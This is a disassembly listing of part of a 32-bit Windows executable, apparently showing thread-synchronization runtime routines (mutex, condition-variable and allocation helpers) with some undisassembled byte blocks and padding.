		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		call	near ptr 2750698h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		call	near ptr 27505EFh
		nop
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2310A25h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0E4E89050h
		dd 50023406h, 0E850D3FFh, 231FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 3203AFE8h
		dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3F8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3F8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 27408C8h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44574C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E900
		mov	dword_44574C, eax
		mov	dword ptr [esi+8], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44574C
		push	offset dword_50E900
		mov	[edx+8], eax
		mov	dword_44574C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	near ptr 2740717h
		nop
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 2760798h
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 2770642h
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	near ptr 2770000h
		nop
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E960
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E960
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27505EFh
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FD85E890h
		dd 7E830232h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 276066Eh
		nop
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 27505EFh
		nop
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 32FC4EE8h
		dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 27608D3h
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		nop
		call	near ptr 27608D3h
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 27608D3h
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
